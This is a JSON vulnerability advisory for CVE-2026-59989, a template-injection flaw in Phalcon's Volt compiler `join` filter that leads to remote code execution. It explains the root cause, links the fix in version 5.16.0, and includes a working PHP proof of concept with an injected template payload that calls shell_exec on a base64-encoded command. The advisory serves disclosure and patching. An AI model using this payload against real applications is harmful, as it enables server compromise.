{"id":"CVE-2026-59989","aliases":[],"url":"https://o3.security/vulnerability/CVE-2026-59989","summary":"Phalcon Volt compiler `join` filter compile-time PHP code injection (SSTI leads to RCE)","details":"## Summary\n\nThe Volt template compiler in Phalcon generates the PHP for the `join` filter by string-concatenating the filter's **raw template-literal argument bytes** with no escaping. The separator literal is dropped verbatim between two single quotes the compiler emits, and the piped array argument is emitted completely bare. A Volt template whose `join` arguments are attacker-influenced can therefore break out of the generated `join('…')` call and inject arbitrary PHP into the compiled template. Volt writes that compiled template to a cache file and `require()`s it at render time, so the injected PHP executes i.e. compile-time PHP code injection (server-side template injection -> remote code execution) for any application that compiles attacker-controlled Volt source.\n\n## Details \n\n### Root cause\n\n`phalcon/Mvc/View/Engine/Volt/Compiler.zep:2544-2546`:\n\n```zephir\ncase \"join\":\n    return \"join('\" . funcArguments[1][\"expr\"][\"value\"]\n        . \"', \" . funcArguments[0][\"expr\"][\"value\"] . \")\";\n```\n\n`funcArguments[1][\"expr\"][\"value\"]` (the separator) and `funcArguments[0][\"expr\"][\"value\"]` (the piped array) are the **raw values** of the parsed template tokens. Unlike every other expression in the compiler, they are **not** routed through `expression()` and receive no escaping: the separator value is spliced verbatim inside the `join('` … `'` quotes with no neutralisation of `'`, and the array value is emitted with no quoting at all. Volt's scanner stores string-literal bytes verbatim (escape sequences are not decoded), so attacker bytes survive intact into the generated PHP.\n\n**Generated-C ground truth** -> `build/phalcon/phalcon.zep.c` (Phalcon 5.15.0):\n\n```c\nZEPHIR_CONCAT_SVSVS(return_value, \"join('\", &_19$$24, \"', \", &_22$$24, \")\");\n```\n\ni.e. literally `\"join('\" + separator + \"', \" + array + \")\"` with both attacker-controlled fragments unescaped.\n\nThe compiled output is then written to a cache file and `require`d by `Phalcon\\Mvc\\View\\Engine\\Volt::render()`, so any PHP spliced in by the attacker runs at render time.\n\n## PoC \n\n```php\n<?php\nuse Phalcon\\Mvc\\View\\Engine\\Volt\\Compiler;\n\n$cmd = 'id; uname -a; hostname';\n\n$b64 = base64_encode($cmd);\n$tpl = \"{{ ['x'] | join(\\\"',[]); echo shell_exec(base64_decode('$b64')); //\\\") }}\";\n\n$compiled = (new Compiler())->compileString($tpl);\n\n$f = tempnam(sys_get_temp_dir(), 'volt') . '.php';\nfile_put_contents($f, $compiled);\ninclude $f;\nunlink($f);\n\n```\n\n<img width=\"1226\" height=\"386\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d5da3f4-0bc9-41d9-b741-13c9ea9b08fe\" />\n\n\n\n\n\n## Impact\n\nWhere an application compiles Volt source that is wholly or partly attacker-controlled, this yields **remote code execution** in the web-server process.","published":"2026-08-21T20:55:56Z","modified":"2026-08-21T21:00:08.583312285Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"Packagist","name":"phalcon/cphalcon","fixedVersion":"5.16.0"}],"fix":{"url":"https://github.com/phalcon/cphalcon/pull/17217","label":"phalcon/cphalcon#17217"},"references":[{"type":"WEB","url":"https://github.com/phalcon/cphalcon/security/advisories/GHSA-hrwp-4hh9-c8r8"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/pull/17217"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/commit/e434061be3b7161930476c1368c868badc71e1bd"},{"type":"PACKAGE","url":"https://github.com/phalcon/cphalcon"},{"type":"WEB","url":"https://github.com/phalcon/cphalcon/releases/tag/v5.16.0"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-21T21:00:08.583312285Z"}}